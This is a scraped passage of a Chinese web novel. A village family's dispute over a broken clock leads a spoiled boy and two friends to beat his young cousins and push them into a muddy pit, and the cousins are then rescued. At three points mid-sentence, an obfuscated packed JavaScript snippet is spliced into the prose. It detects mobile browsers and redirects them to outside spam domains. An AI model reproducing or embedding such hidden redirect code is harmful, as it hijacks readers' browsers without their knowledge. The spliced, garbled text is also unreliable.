赵卫国气得呼吸都不顺畅起来，王春花是弟妹，他不好动手，犀利的眼神唰地又落在赵卫民身上。 赵小芸赶紧给赵卫国顺气：“爸，你别气，为这些人生气气坏了身体不值得。” “三婶，你这话说的可真没道理。”赵小芸看着王春花，嘴角勾起冷笑，“三婶你可别转移话题，明明是你们不会教儿子，教出竟敢对着长辈动手辱骂的小混蛋。我爸好心帮你们教，你们不领情就算了，还污蔑我爸胡乱打人，你们可真是不讲理。” “再说你们照顾我们全家，摊开了说，你们照顾我们什么了？家里的活儿我和我妈少干了吗？ “是，平时我们看起来是吃的稍微好点儿，吃糖我们能多分两三个，吃肉能多吃一口，蒸白面包子也能多吃半个，可你们别忘了，买这些东西的钱都是谁的，是我爸的！” “我爸每年拿回家的布料、工业票、糖票、肉票，哪些没分给你们？ “照理说‘拿人手短，吃人嘴软’，可你们呢？你们用着我家的，吃着我家的，嘴里说几句照顾我们的便宜话，把我家的东西再分给我们一点儿，就是照顾我们，我们该感恩你们，这可真是太可笑了！” 王春花的脸胀红：“那是……那是公用，各家里谁不交公用？咋轮到你们就是不应该，就是我们占你们家便宜了？” 赵小芸看着二婶这副无耻嘴脸皱眉：“我爸交了多少公用，你们又交了多少？二婶，别得了便宜还卖乖，做人不能这么无耻。” “谁无耻了？你们要是不愿意交那么多公用，也没人逼着你们啊！都分家了，你现在搁这儿跟我们摊旧账呢，难道要我们把以前吃的吐出来吗？” 王春花一副死鱼不怕开水烫的赖皮样。 “那你吐啊！”赵小芸翻了个白眼，不想再和这种无赖货纠缠，只想拿了马蹄表就回家，以后大院里这些亲戚她再也不搭理了。 赵小芸拿着马蹄表说道：“我家的表被赵金蛋弄坏了，你们必须得赔！我知道你们肯定拿不出工业票买新的赔我们，就赔钱吧，赔我家十块钱，这事儿就算了。” 王春花尖叫：“十块钱！你咋不去抢呢！” 赵小芸微微一笑：“既然三婶都开口让我抢了，那我就抢咯。” 在王春花的目瞪口呆下，赵小芸在屋子里毫不客气地搜寻起来。 王春花从没见过这么不要脸的赵小芸，以往为了少些麻烦，她和陈翠芳宁愿吃点儿亏也不会和他们争吵，这怎么就突然变了嘴脸？ 王春花反应慢了半拍才想起来去阻止：“赵小芸你干什么？土匪啊！” 赵小芸拉开抽屉胡乱翻找，被王春花抓住胳膊，回头冷冰冰地看着她说道：“三婶，今天你要不赔钱，要不赔我家的表，这事儿没得商量。 “你要是想闹想吵架，我就陪你！你要是嫌吵的不热闹，我去把大队干部和街坊四邻都请过来看热闹，看谁更丢人。” 王春花被气的满脸通红，猛地扭头瞪着赵卫国：“二哥，你不管管你家闺女吗？你还说我们不会教孩子，你倒是会教，教出这么一个无赖闺女。” 赵卫国瞥了王春花一眼，没搭理她，看向捂着脸从床上坐起来的赵卫民：“卫民，赔钱还是赔表，你看着办。” 赵卫民实在是被赵卫国这一拳打怕了，低着头不敢对上二哥的眼睛，嗫嚅道：“我家没十块钱。” “那就有多少拿多少。”赵卫国看着赵卫民这没出息样，也没再冲他生气，对这种没皮没脸的人没必要较真，否则只会气伤自己的身体，因此说的十分平静。 赵卫民差点儿被这句话噎死。 “快点儿！”赵卫国催促，“地里的麦子还等着你去割，别耽误时间。” 赵卫民气结，霍地抬起头，对上赵卫国面无表情的脸，又吓得一缩脖子，觉得被打了一拳的脸更疼了。 起身窝窝囊囊去拿钱，磨蹭了好一会儿，最后手里抓着一把分分角角给赵卫国：“家里就这么多了。” 这些零碎小钱加一起也就两块多，赵卫国接过来塞兜里，心里十分清楚这不可能是赵卫民家的全部存款，但也知道他不会再拿出更多。 没再和对方计较浪费时间，赵卫国对赵小芸说道：“咱们回家。” 赵小芸的胳膊还被王春花抓在手里，用力甩开她，眼睛朝床上瞥了一眼，跑过去把马蹄表前面的透明盖子拿起来，还在床上找到了电池，也一并拿走，走到赵卫国身边和他一起回去。 父女俩从屋里出来，撞见躲在门口的大伯母李红霞。 李红霞避开两步，冲着父女俩讪讪笑了下，看着两人离开后，瞄了一眼屋里，赵金蛋哭嚎的声音传出来，她眼中露出幸灾乐祸。 屋子里，赵金蛋正躺在地上打滚：“我的表我的表！我要我的马蹄表，爸妈你们去给我拿回来啊！” “宝贝乖儿子，地上脏，快起来。”王春花去拉赵金蛋，被他胡乱踢腾的腿踹了一脚。 “我不起！没有马蹄表我就不起来！”赵金蛋吼着，在地上滚得更厉害了。 “好好好，爸给你买一个新的马蹄表好不好？” “真的？”赵金蛋顿时不滚了，眼睛灼灼地看向赵卫民。 赵卫民一脸保证地点头：“真的！” 赵金蛋一骨碌从地上蹿起来：“好诶好诶！买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285533|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新表！” 得了亲爸的承诺，赵金蛋就跑出去玩儿了。 王春花一脸无奈：“卫民，咱家又没工业票，去哪里买表？” 赵卫民无所谓地说道：“没事，先哄住咱们金蛋儿别再哭了，等过两天他就忘了。” …… 赵金蛋跑出去后找到自己的两个小伙伴，一个叫毛豆，一个叫柱子，两人也是喜欢调皮捣蛋的性子，和赵金蛋臭味相投。 毛豆一脸百无聊赖地问道：“柱子，金蛋，今天咱们去哪儿玩儿？” “今天不玩儿，你们俩帮我个忙，帮我教训两个人。” 毛豆和柱子齐齐看向赵金蛋，满眼好奇：“教训谁？” 赵金蛋凶狠道：“赵晨宇和赵晨玲！” 毛豆诧异：“他俩不是你弟弟妹妹吗？他们得罪你了？” 赵金蛋冷哼一声：“别这么多废话，就说帮不帮兄弟这个忙？” 赵晨宇和赵晨玲没得罪他，得罪他的人是赵小芸。 他打不过赵小芸，就只能报复两个小的，谁让赵晨宇和赵晨玲是赵小芸的弟弟妹妹呢。 毛豆和柱子对视一眼：“干！” 反正不是他们的弟弟妹妹，好玩儿就行。 赵金蛋满意了：“那好，我把他们骗出来，到时候你们帮忙抓人。” “没问题！”两人兴致盎然。 今天赵晨宇和赵晨玲依旧在东头破石桥这边的麦地里捡麦穗。 这边距离家近，不用走太多路。 不过这边的麦子快割完了，下次就不能再来这边了。 两人正搜寻地里遗落的麦穗，突然听见有人叫他们。 赵晨玲寻着声音的方向看过去，看见那道胖胖的身影，说道：“是赵金蛋……他喊咱们干啥啊？”她有些疑惑，赵金蛋可从来不和他们一起玩儿。 赵晨宇说：“我过去问问他有啥事。” “我也去。” 赵晨宇和赵晨玲一起来到赵金蛋面前。 赵晨宇问道：“金蛋哥，叫我们有啥事吗？” 赵晨玲到了跟前才注意到，除了赵金蛋，还有他的两个朋友毛豆和柱子也在。 毛豆和柱子正拽下路边的桃树枝摘上面的桃子。 桃子还差些日子才成熟，只有高处个别桃子红了一个尖儿，但也已经能吃了。 毛豆往下拽着桃枝，用力过大，咔嚓一声，树枝断了，吓了他一跳，赶紧把手里的桃枝扔到路沟里。 赵晨玲看见断掉的桃枝上结了好几个桃子，明明再过些日子就能成熟，现在却被丢到路沟里，真的太可惜了。 她瞪着两人：“毛豆！柱子！这些桃子是公家财产，你们这是盗窃，是毁坏公家财产，是浪费粮食！” 毛豆满不在乎说道：“我们又不是故意的。” 柱子盯着赵晨玲威胁：“不许说出去，不然我揍你。” “你敢！”赵晨玲两手叉腰，漂亮的辫子甩出凌厉的弧度。 毛豆和柱子跑上前抓住赵晨玲的胳膊，吓了她一跳：“你们干什么？” 赵金蛋这边也已经抓住赵晨宇，招呼毛豆和柱子：“走！” 兄妹两人被拖着往河坡地的方向走。 19. 欺负 赵金蛋力气大，赵晨宇挣脱不开他的钳制，用力踩在他的脚上，还狠狠碾了碾。 赵金蛋疼得嗷了一嗓子，下意识松开赵晨宇，跳着脚惨叫。 赵晨宇得了自由，闷头撞向毛豆，把他撞了个屁股蹲。 赵晨玲被毛豆抓住的一只手恢复，出手挠向另一边的柱子，指甲挠到他脸上，柱子吃疼，捂住脸啊啊叫着，下意识用力推了赵晨玲一下。 赵晨玲重重摔倒，手按在地上，被粗粝的石子硌到掌心，擦破了一块皮，血流出来，疼得她打哆嗦。 赵晨宇撞开毛豆后，扭头见妹妹摔在地上，过来伸手拉起她就要跑，背后突然被狠狠踹了一脚。 是缓过来的赵金蛋。 赵金蛋怒火中烧，冲到赵晨宇背后用力踹了他一脚，直接把他踹趴下。 赵金蛋跳到赵晨宇后背坐上去，拳头砸在他头上背上：“让你踩我让你踩我，揍死你！” “臭屎蛋不准打我哥！”赵晨玲从地上爬起来，去用力推赵金蛋，可他太胖太重，一下没推开。 毛豆和柱子又跑过来，两人一左一右再次抓住赵晨玲的胳膊。 “放开我！哥！哥！”赵晨玲用脚踢着两人，毛豆被踢疼了，愤怒地在她小腿上用力踹了一脚。 赵晨玲腿上一疼，死活挣脱不开两人，看着被压在地上捶打的赵晨宇，害怕地哭起来。 赵晨宇被打的很疼，也很害怕，眼泪涌出来，喉咙里发出破碎的啜泣，但一听见妹妹的哭声他就不哭了。 背后的赵金蛋太重，他趴在地上又用不上力，只能徒劳挣扎：“不许欺负玲玲！” 赵金蛋发泄打够了才从赵晨宇背上站起来，揪住他的衣领把他拽起来。 赵晨宇的衣服不结实，刺啦一声裂开一道长长的口子，露出淤青的后背。 他转过身时，露出更加狼狈不堪的模样。 血、尘土、眼泪，和泥一样搅合成一团，糊满了整张脸。 血是被赵金蛋踹到地上时，磕到了鼻子流出的鼻血，看着极为骇人。 赵晨玲吓呆了，嘴唇哆嗦着喊“小宇”、“哥”，嘴巴张开了，实际都没发出声音来。 赵金蛋看见赵晨宇这个模样，突然哈哈大笑起来。 毛豆和柱子也跟着一起笑。 赵晨玲害怕恐惧的哭泣声掺杂其中。 三人笑够了之后，拖着兄妹俩往河坡地走。 河坡地挨着一条河，穿过河坡地，到了地势最低洼处，就到了河岸边。 赵金蛋三人把兄妹俩拉到河边，这里已经是河下游，附近没什么人。 河边有一个大坑，是村里盖房子时到这边挖泥挖出来的，里面蓄积了一些雨水，肉眼看着水不是很深。 赵金蛋直接把赵晨宇推进坑里，扭头看向毛豆和柱子示意。 毛豆有些迟疑：“金蛋，玲玲也要推下去吗？” “废什么屁话，推！” 毛豆还在犹豫，一时没动。 赵金蛋不耐烦，过来拽走赵晨玲，把她也推进了坑里。 兄妹俩滚着摔下去，掉进坑底的水里，全身湿透。 坑底有踩到小腿深的淤泥，顿时把原本还算清澈的水搅动浑浊起来，两人的衣服上也沾满了淤泥。 赵晨玲呛了几口水，咳得仿佛肺都要吐出来，嘴里满是泥沙和淤泥的腐烂臭味，刺激的她弯腰干呕。 “玲玲！”赵晨宇先被推下来，挣扎站起来去扶妹妹。 两人双脚陷进淤泥里，坑壁又比较陡峭，凭他们俩小孩儿根本不能靠自己爬上去。 赵金蛋站在坑边，笑嘻嘻地看着狼狈的兄妹二人，眼里尽是快意：“让赵小芸抢我的马蹄表，让你们爸打我，你们活该！” 赵晨玲仰起头，眼睛里有害怕又有愤怒，冲着赵金蛋边哭边骂：“臭屎蛋，你给我等着！等我出来一定要告诉我爸妈，让我爸妈帮我打回来。还有你们俩，臭毛豆臭柱子！你们也跑不掉！” 赵金蛋大怒，抓起地上一把土撒向赵晨玲：“呸！贱丫头还想出来打我，做梦去吧！” “毛豆柱子咱们走！”他胳膊一挥，扭头气势汹汹地真的走了。 “金蛋你等等我们。”毛豆和柱子赶忙追上去。 赵晨玲差点儿被尘土迷住眼，幸亏闭眼及时。 周围彻底安静下来，赵金蛋三人真的离开了，坑底只剩下狼狈可怜兮兮的兄妹二人。 两人尽量站在水浅的地方，坑底有淤泥，比较滑，两人小心地扶着坑壁避免滑倒。 赵晨玲的眼泪吧嗒吧嗒掉下来：“小宇，我手疼。” 赵晨宇看着妹妹擦破皮的手，小心地捧起来吹了吹：“吹吹就不疼了，痛痛飞走了。” 赵晨玲的眼泪还是往下掉：“小宇，你鼻子流血了，肯定比我疼。” 赵晨宇小脸惨白，他背上也很疼。 赵晨玲吸了吸鼻子，压不住哭腔问：“小宇，咱们怎么出去呀？” 赵晨宇抬头看着有他们俩高的坑，用力咬紧了牙齿。 他也不知道怎么出去。 …… 父女俩拿了马蹄表和赔偿钱从大院回来，快到家门口的时候赵小芸突然懊恼道：“忘了抓老母鸡了……算了，下次去我再抓。” 都怪赵金蛋那个小混蛋，要不是他把马蹄表弄坏，她也不会气到忘了抓老母鸡。 刚到家，坐在院子里编竹席的陈翠芳见赵小芸手里拿着表，至于老母鸡鸡毛都没有，也没意外，马蹄表能拿回来她就觉得已经很好了。 赵卫国见陈翠芳在编竹席，赶紧过去接过来：“你好好歇着就行，这些活儿就别干了。还有这段时间做饭你也别管了，我来做。” 陈翠芳失笑：“哪里就这么娇气了，只是坐着编几张竹席，累不着我。” “编竹席一直低着头，手上动作不停，胳膊也得使力，也不是什么清闲活儿，你就别干了。” 赵小芸在一旁搭腔：“就是，妈你歇着吧，咱家现在也不缺这点儿钱。” 编好的竹席以及其他竹篮、竹筐等，会由村委大队里从各家收走，统一提供给供销社售卖，禁止个人私底下买卖，如果被发现就会被拘留罚款。 这算是他们桥头村村民唯一的固定收入。 赵卫国摸摸兜里，抓出一把分分角角的零钱给陈翠芳：“赵金蛋那孩子把咱家的马蹄表弄坏了，这是我从老三手里要来的赔偿，你收着吧！” 陈翠芳惊诧地接过：“三弟那抠搜性子竟然会愿意给钱赔偿？” 赵卫国哼笑一声：“他当然不愿意，我揍了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290724|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一拳。” 陈翠芳更加惊讶了，疑惑地看着赵卫国。 赵卫国一言难尽：“别说了，我都不知道老三是那么胡搅蛮缠没皮没脸的人，他们夫妻俩也不知道怎么教孩子的，把赵金蛋教成了个满嘴脏话、不敬长辈的混账模样。” 陈翠芳叹气：“他俩太溺爱赵金蛋那孩子了。” “那可不止是溺爱了。”赵卫国摇摇头，“算了，不说他们了，说了心烦。” 陈翠芳起身去把钱放屋里，赵卫国接过陈翠芳编了一半的竹席继续。 赵小芸坐在门口，先把电池装进马蹄表里，表针立马咔哒咔哒走了起来，她瞬间松了口气：“幸好没坏。” 表前面的透明盖子被抠下来时弄裂了，合不上去，只能找胶布粘上去。 不过家里没胶布，赵小芸暂且把盖子放在一边，又仔细检查了一遍马蹄表，没发现其他问题：“幸亏表针没有被赵金蛋掰断，不过时间不准了，得借别人的表对对时间。” 赵小芸起身把马蹄表放在堂屋，又从屋里出来后，在院子里找着家里的铁锹，拿着铁锹往后院菜园子走：“爸，妈，我去那边把咱家院子里的杂草铲铲。” 那边，指的自然就是门另一边的2023年。 “嗯，去吧！别太累着了，干一会儿就歇歇。”赵卫国在心里叹气，可惜自己过不去那边，不能帮着闺女干活儿。 “我知道。”赵小芸提着铁锹穿过门，开始收拾院子里的杂草。 这个院子多年没有人搭理，杂草长的比人都高。 幸好院子里大部分都是水泥地，土地部分的面积不大，不过赵小芸还是废了一番功夫才把杂草全清理完。 清理杂草时，她还在墙边下发现了一些砖头，估计是当年盖房子时剩下来的。 赵小芸捡了几块砖头查看：“这些砖头都还是完好的，能用，可以把家里的灶台再修修。” 家里的灶台是用泥和碎石子糊的，不结实，只是暂时应急用，最好再修修，不然说不定哪天正做着饭就塌了。 赵小芸擦擦头上的汗，看着院子，没了杂草，院子里显得宽敞了许多，且少了许多荒凉冷清感。 院子里的杂草清理干净了，土地也不能闲着，赵小芸打算种些菜。 这里有一些她没见过的菜，菜种子和菜苗应该不贵，赵小芸准备种一些没吃过的菜尝尝。 院子里的桂花依旧很香，赵小芸摘了一些桂花，用上次藏起来的外卖餐盒装着。 桂花煮粥泡水都能放一些，味道很香。 房间里面她也粗略打扫了一遍，这么一忙活儿，就到了中午。 赵小芸扛着铁锹回去吃午饭，吃过午饭可以休息一会儿，然后再来这边的超市买一桶油，就该去上班了。 刚穿过门，赵小芸就闻见了饭菜的香味儿。 “爸，今天中午蒸了米饭吗？”赵小芸把铁锹放下，去水缸边打水洗手。 “对，还有烧茄子和冬瓜汤。”赵卫国说道。 赵小芸干了一上午的活儿，肚子早都饿扁了，去灶房盛了一碗米饭和菜，边往外走边扒拉着往嘴里塞。 米饭拌着烧茄子浓香的汤汁吃十分下饭。 赵小芸吃着米饭，朝屋里瞄了一眼：“玲玲和小宇还没回来吗？” 20. 找到弟弟妹妹 “还没有，应该快回来了。”赵卫国没多担心，俩孩子一向懂事省心，且孩子是跟着村里人去地里捡麦穗，不会有什么危险。 赵小芸也一样，不觉得弟弟妹妹会出事。 但是等她一碗饭都吃完了，玲玲和小宇还没回来。 赵小芸放下空饭碗：“怎么还没回来？爸，你也先吃饭吧，我去叫他俩回来。” 赵小芸知道弟弟妹妹还是去东头破石桥的地里捡麦穗了，这边离家近。 到了田间地头，地里的人已经收拾好割好麦子，装上架子车捆结实，准备回家。 赵小芸扫了一圈没见到自家弟弟妹妹，找上一人问道：“田大娘，今天上午玲玲和小宇没来这边捡麦穗吗？” “来了，早上跟我们一道过来的，后来不知道啥时候走了。”田大娘问，“小芸，出啥事儿了吗？” 赵小芸皱眉：“这都到午饭时间了，俩人一直没回去。” “许是俩孩子贪玩儿忘了时间，也可能是去桑树路那边的地里捡麦穗了……你也别急，在咱们村子附近出不了啥事儿。” “嗯，我知道，谢谢田大娘，我去桑树路那边地里再找找。”赵小芸扭头原路返回，步伐飞快。 桥头村北边，有一段路两边种了两排桑树，村里人就叫这边桑树路。 大家说的田地的地名，都是用附近标志性的东西做称呼。 赵小芸去桑树路的半路上，想起来今天方夏生就在那边割麦子。 方夏生今天郁闷了一上午。 方夏生的朋友周刚用力扯了扯捆麦子捆绳子：“捆结实了，走吧！” 没听见方夏生应声，周刚走到他身后，猛地拍了一下他的肩膀。 方夏生被惊了一跳，回头无奈地白了他一眼：“你干什么？” “我不干什么，我是看你有问题，你今天是怎么回事？怎么感觉你魂儿都不在身上，脸上也一直闷闷不乐的？” “没什么。”方夏生烦恼地皱了皱眉，他在前面拉车，周刚在后面推。 田地头的土比较松，架子车碾过去留下深深的车辙印，一直上了大路才好走起来。 方夏生吐出一口气：“小芸认识了一个叫齐宏的男同志，才认识没几天，她就把人夸的跟花一样，什么贴心细心会照顾人……” 他一脸郁闷：“刚子，我担心小芸万一被那个齐宏骗了可怎么办？” 周刚有些惊讶：“应该不会吧？我觉得赵小芸其实挺聪明的，不过齐宏是谁？哪个村的？” 方夏生沉默片刻：“……我忘了问了。” 当时他只觉得在赵小芸心里，那个齐宏比他还重要，光顾着急了。 周刚从车后面探出头，看了看方夏生的脸色，琢磨了一会儿突然语出惊人：“夏生，你该不会是喜欢赵小芸吧？” “怎么可能？”方夏生下意识反驳，眉头紧皱，“我和小芸从小就认识，我只是把她当妹妹，怎么可能会喜欢她！” 周刚啧了一声：“可你这反应不是喜欢她是什么？人家赵小芸只是认识了一位男同志，你就郁闷半天，这不叫喜欢叫什么？” “你别胡说，我只是担心她。”方夏生不高兴，“我警告你，这种话你可不许在外乱说，影响小芸的名声。” “你放心，我也就在你面前说。”他周刚不是不知道轻重的人，什么话能在人前说，什么不能说，他都有分寸。 “不过既然你不喜欢赵小芸，那你还担心郁闷什么？”周刚不理解。 方夏生无奈：“我都说了，我担心她被人骗啊！那个齐宏肯定是个会说甜言蜜语会哄骗人的，否则怎么可能才短短几天时间，小芸就对他那么信任？我不过说了那人两句，小芸就冲我急了。” 周刚想了想，说：“赵小芸可不是几句好听话就能被骗到的人，说不定是她对那位齐宏同志有好感，才那么夸他。” 方夏生的眉头皱的更紧了。 小芸对那个什么齐宏有好感？ 什么好感，喜欢他吗？ 这么一想，方夏生的心情突然变得更差了。 至于为什么听到小芸可能有喜欢的人自己会不高兴，方夏生是觉得自己把小芸当妹妹看，突然冒出一个疑似惯会用甜言蜜语哄骗人的小白脸，竟然骗到自己妹妹头上，他当然不会高兴。 …… 方夏生和周刚走到了有桑树的这段路。 路边，赵金蛋、毛豆和柱子正用一根特别长的竹竿敲树上的桑葚。 毛豆凑到赵金蛋身边：“金蛋，玲玲和小宇就放在……”他听见路上的动静，下意识扭头看了一眼，恰巧对上方夏生的眼睛，后面的话顿时不敢再说了，紧紧闭上嘴巴赶紧避开了他的视线。 方夏生听见从毛豆嘴里说出的名字，多看了他两眼，感觉他的反应有些不太对劲，一股子心虚的模样。 “夏生哥！” 还不等他多想，前面突然传来赵小芸的声音。 方夏生赶紧往前看去，脸上露出惊喜：“小芸你怎么来了？是来接我的吗？大中午的这么热，其实不用……” “夏生哥，你见到玲玲和小宇了吗？”赵小芸打断他的话。 方夏生微愣：“玲玲和小宇怎么了？我上午一直在地里割麦子，没见过他俩。” 赵小芸顿时更急了：“往常这个时间他俩早都已经回家吃饭了，可今天却连人影都找不见！玲玲和小宇不是贪玩儿到忘了回家的孩子，我担心他俩会不会出什么事啊？” 方夏生把架子车先放在路边：“你先别急，我陪你一起找找。” 他突然想起什么，朝着毛豆看过去：“毛豆，你过来一下。” “干、干啥？”毛豆瞥了一眼赵小芸，迅速低下头。 方夏生注意到对方的小动作，这下子觉得这小子肯定有问题：“你今天上午见过玲玲和小宇吗？” 毛豆下意识往后退了两步，好大声地说：“没有，我没见过！” 方夏生直接朝他走过去：“真没见过？我怎么听见你刚才说玲玲和小宇被你们弄到什么地方去了？” 毛豆吓得眼睛瞪大，看着方夏生走近，突然就扭头就跑。 方夏生一个箭步冲上去，他腿长，且骤然冲刺的速度比常人要快许多，如闪电一般闪过去，一把擒住了毛豆的肩膀。 “啊——放开我！”毛豆惊叫起来，再调皮的孩子，面对大人还是会下意识害怕的，尤其是比他身强力壮的大人。 方夏生面沉如水，直视毛豆的眼睛，非常有压迫力：“说！玲玲和小宇到底被你们弄哪儿去了？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304372|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>毛豆吓得一哆嗦，肩膀被他捏的很疼，生怕他揍自己，脑子里一片空白，再不敢有半点儿隐瞒，带着哭腔喊：“河边那个大坑里！” 赵小芸冲过来揪住毛豆的衣服：“你说什么？你把玲玲和小宇怎么了？” 毛豆被吓得缩脖子，对上赵小芸凶狠的眼神，一股脑把另外两个小伙伴给卖了：“不是我一个人，还有金蛋和柱子。” 赵金蛋和柱子骂了一声，两人眼见情况不好，撒腿就跑。 方夏生大喊一声：“刚子！” 周刚蹿出去拦住了赵金蛋， 赵小芸反应也极快，追过去抓住了柱子。 柱子在赵小芸手里扭动挣扎：“不关我的事，是金蛋让我干的。” 赵小芸唰地看向赵金蛋。 赵金蛋一副不知悔改的样子：“谁让你抢走我的马蹄表，还有你爸竟然敢打我，你们欺负我，我当然要欺负回来。” 赵小芸冷冷看着他：“等我把玲玲和小宇找回来再跟你算账！” 她松开柱子，先去找玲玲和小宇。 方夏生也放开了毛豆，追上小芸：“我陪你一起去。” 他看向周刚：“刚子，你辛苦下，先把车拉回村里。” 周刚冲他摆摆手：“你去吧！” …… 赵小芸和方夏生匆匆赶到河边的大坑。 赵小芸探头往里面一看，看见弟弟妹妹的样子后，顿时绷不住了，眼泪吧嗒吧嗒滚出来。 坑底的赵晨宇和赵晨玲听见动静，抬头往上看，看见两人后顿时惊喜地喊道：“姐！夏生哥！” 看见亲人后，两个可怜的小家伙瞬间安心，下一瞬委屈如大浪潮水一般汹涌而来。 兄妹俩的眼泪顿时掉的比赵小芸还凶。 赵小芸和方夏生合力把赵晨宇和赵晨玲从坑里拉上来。 两人都吓坏了。 赵晨玲扑在赵小芸怀里大哭：“姐，是赵金蛋、毛豆、柱子三个人把我和小宇推到坑里的，赵金蛋还打小宇！” “我被柱子推倒在地上，手擦破皮流血了，还被毛豆踹了一脚，他们都太坏了！” “姐你早上给我扎的辫子也弄乱了……” 赵晨玲委屈的不行，抱着赵小芸哭得更厉害了。 赵小芸轻轻拍着妹妹的背安慰，同时看向方夏生和弟弟。 方夏生正在给赵晨宇检查身上。 赵晨宇被磕到鼻子，流了一些鼻血，但万幸鼻子没什么大碍。 不过他的后背上淤青一大片，看着让人触目惊心。 赵小芸轻轻握着妹妹的手，再看着弟弟后背上的伤，心口堵得厉害，半晌咬牙切齿地骂出一句：“小畜生！” 她一直都知道赵金蛋是个喜欢祸害人、且下手没轻没重的小混蛋，尤其是上次故意推倒她，害她磕破脑袋差点儿没命。 可他没想到那小畜生竟然还能更狠！更没人性！ 玲玲和小宇比他还小，他是怎么下得去手的啊！真的就不怕闹出人命吗？ 赵小芸不敢去抱赵晨宇，怕碰到他背上的伤：“玲玲小宇，你们放心，姐一定给你们打回来！” 她这次要打的够凶够狠够疼，让赵金蛋以后再见到她和玲玲小宇，就想起这顿打，再也不敢招惹他们。 21. 抽打 赵小芸和方夏生牵着两个小孩儿回家。 回到家，陈翠芳和赵卫国看见俩孩子的惨样，都吓了一大跳。 陈翠芳看着仿佛在泥潭里打过滚的俩孩子惊呼：“老天爷啊！这是怎么了？哎哟！赶紧过来洗洗，看看这一身脏的。” 说着就要拉过两人。 “妈！”赵小芸赶紧拦了一下，“玲玲和小宇身上都有伤，你别碰着他们的伤口了。” “有伤？”陈翠芳急了，“咋伤到的？伤到了哪儿？” 赵晨玲伸手给陈翠芳看自己破了一块皮的手心，泪眼汪汪道：“妈，我手都流血了，好疼！” 陈翠芳心疼坏了：“咋这么不小心……” “妈，是臭屎蛋、毛豆、柱子三个人打的！”赵晨玲小脸气愤，“小宇也被打了，背上都是伤，鼻子都被打流血了，他们还把我和小宇推到了大坑里，快吓死我了。” 赵晨玲一头扎进陈翠芳怀里，哇哇大哭：“妈，臭屎蛋他们三个太可恶了，你和爸要帮我们打回来！” 陈翠芳抱着小女儿，这时也看见了儿子背上的伤，又心疼又生气。 赵卫国脸上布满阴云，犹如暴风雨来袭前夕。 赵小芸咬牙怒道：“幸亏坑里的水浅，要是水深，玲玲和小宇就出事了！” 万一水深，两人被推下去后被水淹，就算那三个小混蛋良心发现马上救人也来不及，那个坑的深度，凭三个小孩儿是没办法把玲玲和小宇救出来的。 就算他们回村里叫人，等人过去也晚了。 三个小混蛋这是杀人！ 尤其是赵金蛋！ “赵金蛋这个小畜生上次故意推我，我磕破头差点儿就没命了，这次竟然又来欺负玲玲和小宇，险些也害了他们……爸，妈，这次不管你们说什么，我绝对不会再放过他！” 别说什么还是孩子，不懂事，哪家的孩子这么狠毒，能做出这么阴损残忍的事？ 陈翠芳和赵卫国都震惊地看向赵小芸。 陈翠芳都快傻了：“小芸你说啥？你磕破头是赵金蛋故意推你？不是你自己不小心摔的？” 赵小芸比陈翠芳更震惊：“妈你说什么，你和爸不是知道是赵金蛋故意推的我吗？三婶儿带着东西和钱去医院看我，还说‘都是自家人，要是闹开了不好看，能不能就这么算了’，当时你们就答应不追究了。” 当时她刚做完手术脱离生命危险，脑袋疼的像被凿子锤子敲打，还恶心想吐，难受得话都说不出来。 后来等她好些的时候，三婶儿早就走了，爸妈每天日夜看护她十分辛苦，她也就没再说什么。 毕竟就算继续找三叔三婶儿算账，凭他们的厚脸皮，肯定说赔过钱事儿就了了，万一再吵起来，到时候也只是徒增爸妈的烦恼。 陈翠芳呼吸粗重，气得胸口疼：“怎么会这样！当时我以为她说的是因为你爸不再往家里交公用，他们一起来咱们家闹的事儿！ “那时候你伤的那么重，我哪里还有心思计较他们在咱家闹的事儿…… “天杀的！我就说当时王春花为什么要给我二十块钱，后来又莫名其妙收了回去，原来你磕破头差点儿没命是她家赵金蛋故意干的！” 当时，王春花掏出二十块钱要给她，还说“谁也没想到小芸能摔这么严重，没人希望小芸出事，幸好小芸没事，老天保佑，金蛋不是故意的”之类的话。 她说的那些话东一榔头西一棒子，没什么逻辑，陈翠芳那时候两天一夜几乎没怎么睡，心里又担心重伤的赵小芸，就没耐烦听王春花说，随便打发了她几句，收了钱准备回去继续照顾闺女。 当时王春花神色有异，紧接着就把钱抢回去了，又从中数出两块钱给她。 陈翠芳只当她后悔给二十块帮忙太多，没想到事实竟然是这样！ 竟然是赵金蛋故意把自家闺女推倒摔伤的！ 赵卫国看着自家三个孩子，竟然都被赵金蛋祸害过，冷冷道：“这事儿必须让赵卫民给个交代。” 赵小芸突然鼻子发酸，她还以为自己差点儿没命，爸妈为了顾及家人，真的不计较！ 原来爸妈根本不知道她是被赵金蛋故意推倒的。 